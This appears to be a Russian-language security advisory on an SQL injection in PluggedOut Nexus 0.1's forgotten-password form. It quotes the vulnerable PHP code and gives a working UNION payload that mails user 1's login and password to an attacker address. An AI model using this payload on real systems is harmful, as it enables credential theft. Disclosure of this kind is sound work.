Компьютер для продвинутых пользоватлей Выпус по безопасности. Ошибка в PluggedOut Nexus.
Компьютер для продвинутых
пользователей
Содержание:
PluggedOut Nexus
ПО: PluggedOut Nexus
Версия: 0.1
Уязвимость:
http://localhost/Nexus/forgotten_password.php - по этому адресу, если вы
указали e-mail адрес при создании аккуанта, сервер отправляет на ваш
адрес данные для восстановления аккуанта. Ввод параметров "email" в
"forgotten_password.php" не санируются до использования в SQL запросе.
Это позволяет использовать SQL-инъекцию.
В поле E-mail address вводим ' и жмем Send Request. Нас переадресуют на
http://localhost/Nexus/site_problem.php и мы видим:
Problem with Nexus website
A problem has occurred with the Nexus website - this
was not your fault, and the administrators probably
already know about it.
Уязвимый код:
if ($_POST["submit"]!=""){
$con = db_connect();
$sql = "SELECT cUsername,cPassword,cEMailPrivate FROM
nexus_users WHERE
cEMailPrivate='".$_POST["email"]."'";
$result = mysql_query($sql,$con);
if ($result!=false){
if (mysql_num_rows($result)>0){
$row = mysql_fetch_array($result);
$from = $site_admin_email;
$to = $row["cEMailPrivate"];
$subject = "Reminder Username/Password from
".$site_long_name."";
$body = "This email has been sent following a
request for a reminder username/password in the
".$site_long_name." website.\n\n"
."Your account details are as follows;\n"
." Username : ".$row["cUsername"]."\n"
." Password : ".$row["cPassword"]."\n\n"
."If you did not request this reminder message,
please contact the ".$site_long_name." administrator
(".$admin_email.")\n";
send_email($from,$to,$subject,$body);
Использование:
Введите следующий код в поле e-mail адреса: ' union select cUsername,cPassword,'ATTACKER@EMAIL.ADDRESS' from
nexus_users WHERE nUserId=1 and '1'='1
и на указанный в ATTACKER@EMAIL.ADDRESS придет пароль и логин
пользователя с userID=1.